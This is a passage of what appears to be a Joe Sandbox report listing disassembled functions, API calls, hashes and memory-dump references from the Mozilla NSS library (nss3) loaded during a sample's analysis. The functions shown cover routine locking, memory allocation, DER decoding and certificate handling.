Opcode ID: d5c08dc0f78e398886bb210e16bc121ff6ec1f5a31c4a17c8b0dc0c0b495b250
Instruction ID: 799d79e744c3c74dcc5caa5a45a8f2d921f19165687e68a08c20265341365a52
Opcode Fuzzy Hash: d5c08dc0f78e398886bb210e16bc121ff6ec1f5a31c4a17c8b0dc0c0b495b250
Instruction Fuzzy Hash: 6061A371B052099FDB04CF68DC58AAA77B1FF4A315F208138E915DBB90EB31AD06CB95

Function 6C697F90 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 167COMMON

Download Yara Rule

APIs

PR_GetMonitorEntryCount.NSS3(?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6C697FB2

Part of subcall function 6C61BA40: TlsGetValue.KERNEL32 ref: 6C61BA51
Part of subcall function 6C61BA40: TlsGetValue.KERNEL32 ref: 6C61BA6B
Part of subcall function 6C61BA40: EnterCriticalSection.KERNEL32 ref: 6C61BA83
Part of subcall function 6C61BA40: TlsGetValue.KERNEL32 ref: 6C61BAA1
Part of subcall function 6C61BA40: _PR_MD_UNLOCK.NSS3 ref: 6C61BAC0

PR_EnterMonitor.NSS3(?,?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6C697FD4

Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E90AB
Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E90C9
Part of subcall function 6C6E9090: EnterCriticalSection.KERNEL32 ref: 6C6E90E5
Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E9116
Part of subcall function 6C6E9090: LeaveCriticalSection.KERNEL32 ref: 6C6E913F

Part of subcall function 6C699430: PR_SetError.NSS3(FFFFD0AC,00000000), ref: 6C699466

PR_ExitMonitor.NSS3(?), ref: 6C69801B
PR_EnterMonitor.NSS3(?), ref: 6C698034
TlsGetValue.KERNEL32 ref: 6C6980A2
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6980C0
PR_ExitMonitor.NSS3(?), ref: 6C69811C
PR_ExitMonitor.NSS3(?), ref: 6C698134

Strings

), xrefs: 6C6980DB

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSection$Error$CountEntryLeave
String ID: )
API String ID: 3537756449-2427484129
Opcode ID: 178fde6821bc4a7746733d747f927e0df6bb9057660419a28d8566d59c5f4287
Instruction ID: 382e5b6e0121aa6727ce2c2f38e03b7c770a187d969e1b7fa304e7ddacc36ee1
Opcode Fuzzy Hash: 178fde6821bc4a7746733d747f927e0df6bb9057660419a28d8566d59c5f4287
Instruction Fuzzy Hash: 28515971A057079BEB119F34DC017EB77B0AF4A30CF08052EDD5A52A62EB31A509C79E

Function 6C63FCA0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99stringmemoryCOMMON

Download Yara Rule

APIs

PK11_IsInternalKeySlot.NSS3(?,?,00000000,?), ref: 6C63FCBD
strchr.VCRUNTIME140(?,0000003A,?,?,00000000,?), ref: 6C63FCCC
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,00000000,?), ref: 6C63FCEF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C63FD32
PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6C63FD46
PORT_Alloc_Util.NSS3(00000001), ref: 6C63FD51
memcpy.VCRUNTIME140(00000000,00000000,-00000001), ref: 6C63FD6D
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C63FD84

Strings

:, xrefs: 6C63FD78

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Alloc_Utilmemcpystrlen$ArenaInternalK11_Slotstrchr
String ID: :
API String ID: 183580322-336475711
Opcode ID: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction ID: fa4d109ff5eb8e76cfa8faf99412bc652169646ac0c9f7546697f8953ea5ae42
Opcode Fuzzy Hash: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction Fuzzy Hash: 1A31D3B29402295BEB018AA49D097AF77E8EF41318F152164DC1CA7B11E772E908C7EB

Function 6C620F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C620F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C620F84

Part of subcall function 6C67B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7518D0,?), ref: 6C67B095

SEC_QuickDERDecodeItem_Util.NSS3(?,6C63F59B,6C74890C,?), ref: 6C620FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6C620FC1

Part of subcall function 6C680BE0: malloc.MOZGLUE(6C678D2D,?,00000000,?), ref: 6C680BF8
Part of subcall function 6C680BE0: TlsGetValue.KERNEL32(6C678D2D,?,00000000,?), ref: 6C680C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6C620FDB
PR_CallOnce.NSS3(6C782AA4,6C6812D0), ref: 6C620FEF
PL_FreeArenaPool.NSS3(?), ref: 6C621001
PL_FinishArenaPool.NSS3(?), ref: 6C621009

Strings

security, xrefs: 6C620F5C

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: 15a0f29033f2ad13d82ef1977e4289342a29216bc94d6f643f45603dd3bdf1f3
Instruction ID: 3789d4186bd1c1e152a8e6d0783ab0f9f1c38c8a13310d6f4adefb1d9a79ccd3
Opcode Fuzzy Hash: 15a0f29033f2ad13d82ef1977e4289342a29216bc94d6f643f45603dd3bdf1f3
Instruction Fuzzy Hash: EC2134B1904208ABE7109F24DC44EAFB7B4EF85658F008428FC1897602FB31DA05CBEA

Function 6C626DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6C627D8F,6C627D8F,?,?), ref: 6C626DC8

Part of subcall function 6C67FDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C67FE08
Part of subcall function 6C67FDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C67FE1D
Part of subcall function 6C67FDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C67FE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6C627D8F,?,?), ref: 6C626DD5

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C748FA0,00000000,?,?,?,?,6C627D8F,?,?), ref: 6C626DF7

Part of subcall function 6C67B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7518D0,?), ref: 6C67B095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C626E35

Part of subcall function 6C67FDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C67FE29
Part of subcall function 6C67FDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C67FE3D
Part of subcall function 6C67FDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6C67FE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C626E4C

Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C748FE0,00000000), ref: 6C626E82

Part of subcall function 6C626AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6C62B21D,00000000,00000000,6C62B219,?,6C626BFB,00000000,?,00000000,00000000,?,?,?,6C62B21D), ref: 6C626B01
Part of subcall function 6C626AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6C626B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C626F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C626F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C748FE0,00000000), ref: 6C626F6B
PR_SetError.NSS3(FFFFE005,00000000,6C627D8F,?,?), ref: 6C626FE1

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: 847e53029aa6f223a192700fcb51f437c80891cf1b2e5e5553ed1bae58ade909
Instruction ID: 9b91d842e497fe2fcadea8374da5945f9b0b30d6e0f146c383471dc8f42a02fe
Opcode Fuzzy Hash: 847e53029aa6f223a192700fcb51f437c80891cf1b2e5e5553ed1bae58ade909
Instruction Fuzzy Hash: 6B718F71D102469BEB10CF15CD40FAABBA5BF95308F154229EC18DBB11F774EA94CBA8

Function 6C660FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C661057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C661085
PK11_GetAllTokens.NSS3 ref: 6C6610B1
free.MOZGLUE(?), ref: 6C661107
PR_SetError.NSS3(00000000,00000000), ref: 6C661172
free.MOZGLUE(?), ref: 6C661182
free.MOZGLUE(?), ref: 6C6611A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6C6611C5

Part of subcall function 6C6652C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6C63EAC5,00000001), ref: 6C6652DF
Part of subcall function 6C6652C0: EnterCriticalSection.KERNEL32(?), ref: 6C6652F3
Part of subcall function 6C6652C0: PR_Unlock.NSS3(?), ref: 6C665358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C6611D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C6611F3

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: 45a018306512807e904c8dac7f30034aa11c60d5a4028ef825655056d1a7b090
Instruction ID: db6bdd813cf2ba6c1cf8fdb5b5729146bbc07fb9851be1f244c55297ff48c501
Opcode Fuzzy Hash: 45a018306512807e904c8dac7f30034aa11c60d5a4028ef825655056d1a7b090
Instruction Fuzzy Hash: 4961A4B0E013459BDF00DF66D845B9AB7B4BF49348F144129EC19ABB41EB31E944CB6A

Function 6C66ADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AE10
EnterCriticalSection.KERNEL32(?,?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AE24
PR_Unlock.NSS3(?,?,?,?,?,?,6C64D079,00000000,00000001), ref: 6C66AE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AE6F
free.MOZGLUE(85145F8B,?,?,?,?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AE7F
TlsGetValue.KERNEL32(?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AEF1
free.MOZGLUE(6C64CDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6C64CDBB,?), ref: 6C66AF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AF30

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: c6218654c8b4fa7f614cade72da507b6a525e87a4a489a17b313a1a40388e88e
Instruction ID: 83ae48fa7b1890873aacb67ce3b68f432809cee2124f2b4be1e5a91bc47fdad1
Opcode Fuzzy Hash: c6218654c8b4fa7f614cade72da507b6a525e87a4a489a17b313a1a40388e88e
Instruction Fuzzy Hash: BE51AFB1A00611AFDB01DF26D884B56B7B4FF09319F144264E91897E12E731F864CBD6

Function 6C644CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6C64AB7F,?,00000000,?), ref: 6C644CB4
EnterCriticalSection.KERNEL32(0000001C,?,6C64AB7F,?,00000000,?), ref: 6C644CC8
TlsGetValue.KERNEL32(?,6C64AB7F,?,00000000,?), ref: 6C644CE0
EnterCriticalSection.KERNEL32(?,?,6C64AB7F,?,00000000,?), ref: 6C644CF4
PL_HashTableLookup.NSS3(?,?,?,6C64AB7F,?,00000000,?), ref: 6C644D03
PR_Unlock.NSS3(?,00000000,?), ref: 6C644D10

Part of subcall function 6C6CDD70: TlsGetValue.KERNEL32 ref: 6C6CDD8C
Part of subcall function 6C6CDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6CDDB4

PR_Now.NSS3(?,00000000,?), ref: 6C644D26

Part of subcall function 6C6E9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C730A27), ref: 6C6E9DC6
Part of subcall function 6C6E9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C730A27), ref: 6C6E9DD1
Part of subcall function 6C6E9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6E9DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6C644D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6C644DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6C644E02

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: 6fa50a25a9985ee6a4b7c01aee7335158fcbfdbb25c82114dc6c326ff2dc4529
Instruction ID: ff21957d371164a5e3882f92d24478c673dc3906d2e6adcd5a8cefa9225ba89d
Opcode Fuzzy Hash: 6fa50a25a9985ee6a4b7c01aee7335158fcbfdbb25c82114dc6c326ff2dc4529
Instruction Fuzzy Hash: A241B7B5A00515ABEB015F28EC419A677E9EF0635DF05D170EC0887B11EF71D914CBEA

Function 6C62BFF0 Relevance: 15.1, APIs: 10, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C62BFFB

Part of subcall function 6C680FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6287ED,00000800,6C61EF74,00000000), ref: 6C681000
Part of subcall function 6C680FF0: PR_NewLock.NSS3(?,00000800,6C61EF74,00000000), ref: 6C681016
Part of subcall function 6C680FF0: PL_InitArenaPool.NSS3(00000000,security,6C6287ED,00000008,?,00000800,6C61EF74,00000000), ref: 6C68102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000018C), ref: 6C62C015

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

memset.VCRUNTIME140(-00000004,00000000,00000188), ref: 6C62C032
DER_SetUInteger.NSS3(00000000,00000078,00000000), ref: 6C62C04D

Part of subcall function 6C6769E0: PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C676A47
Part of subcall function 6C6769E0: memcpy.VCRUNTIME140(00000000,-00000005,00000001), ref: 6C676A64

DER_SetUInteger.NSS3(00000000,00000084,?), ref: 6C62C064
CERT_CopyName.NSS3(00000000,000000A8,?), ref: 6C62C07B

Part of subcall function 6C628980: PORT_FreeArena_Util.NSS3(00000000,00000000,00000000,?,00000028,?,?,6C627310), ref: 6C6289B8
Part of subcall function 6C628980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000000,?,00000028,?,?,6C627310), ref: 6C6289E6
Part of subcall function 6C628980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000004,?), ref: 6C628A00
Part of subcall function 6C628980: CERT_CopyRDN.NSS3(00000004,00000000,6C627310,?,?,00000004,?), ref: 6C628A1B
Part of subcall function 6C628980: PORT_ArenaGrow_Util.NSS3(00000004,00000000,?,?,?,?,?,?,?,00000004,?), ref: 6C628A74

Part of subcall function 6C621D10: PORT_FreeArena_Util.NSS3(000000B0,00000000,00000000,00000000,00000000,?,6C62C097,00000000,000000B0,?), ref: 6C621D2C
Part of subcall function 6C621D10: SECITEM_CopyItem_Util.NSS3(000000B0,00000004,6C62C09B,00000000,00000000,00000000,?,6C62C097,00000000,000000B0,?), ref: 6C621D3F
Part of subcall function 6C621D10: SECITEM_CopyItem_Util.NSS3(000000B0,-00000010,6C62C087,00000000,000000B0,?), ref: 6C621D54

CERT_CopyName.NSS3(00000000,000000CC,?), ref: 6C62C0AD
SECKEY_CopySubjectPublicKeyInfo.NSS3(00000000,-000000D4,?), ref: 6C62C0C9

Part of subcall function 6C632DD0: SECOID_CopyAlgorithmID_Util.NSS3(-000000D4,-00000004,6C62C0D2,6C62C0CE,00000000,-000000D4,?), ref: 6C632DF5
Part of subcall function 6C632DD0: SECITEM_CopyItem_Util.NSS3(-000000D4,-0000001C,?,?,?,?,6C62C0CE,00000000,-000000D4,?), ref: 6C632E27

CERT_DestroyCertificate.NSS3(00000000), ref: 6C62C0D6
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C62C0E3

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Util$Copy$Arena$Alloc_Arena_$FreeItem_$IntegerNameValue$AlgorithmAllocateCertificateCriticalDestroyEnterGrow_InfoInitLockPoolPublicSectionSubjectUnlockcallocmemcpymemset
String ID:
API String ID: 3955726912-0
Opcode ID: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction ID: 47794dd243b6ec662f61a6df8816a4c9c13c7f165a6b76e6537a8a30beb3c46f
Opcode Fuzzy Hash: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction Fuzzy Hash: AF2177B2A4010577FB005A61AC81FFB72AC9F4275CF084134FD05D9647FB2AD9199ABE

Function 6C622E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C622CDA,?,00000000), ref: 6C622E1E

Part of subcall function 6C67FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C629003,?), ref: 6C67FD91
Part of subcall function 6C67FD80: PORT_Alloc_Util.NSS3(A4686C68,?), ref: 6C67FDA2
Part of subcall function 6C67FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C68,?,?), ref: 6C67FDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6C622E33

Part of subcall function 6C67FD80: free.MOZGLUE(00000000,?,?), ref: 6C67FDD1

TlsGetValue.KERNEL32 ref: 6C622E4E
EnterCriticalSection.KERNEL32(?), ref: 6C622E5E
PL_HashTableLookup.NSS3(?), ref: 6C622E71
PL_HashTableRemove.NSS3(?), ref: 6C622E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6C622E96
PR_Unlock.NSS3 ref: 6C622EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C622EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C622EC5

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: 16ae32a7b283f8ce67dd2581556bc2145454464cd733d80e4537e88d421c81f9
Instruction ID: 89944c69c8aefe177fffbefc414b6fa59275af1cfc0b8371de553dceaee0f154
Opcode Fuzzy Hash: 16ae32a7b283f8ce67dd2581556bc2145454464cd733d80e4537e88d421c81f9
Instruction Fuzzy Hash: 69210A72A00100A7DF111B25DC49EDB3B75EB4335EF140430ED1896751F732D569E6AA

Function 6C60FC50 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 233COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C60FD18
sqlite3_initialize.NSS3 ref: 6C60FD5F
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C60FD89
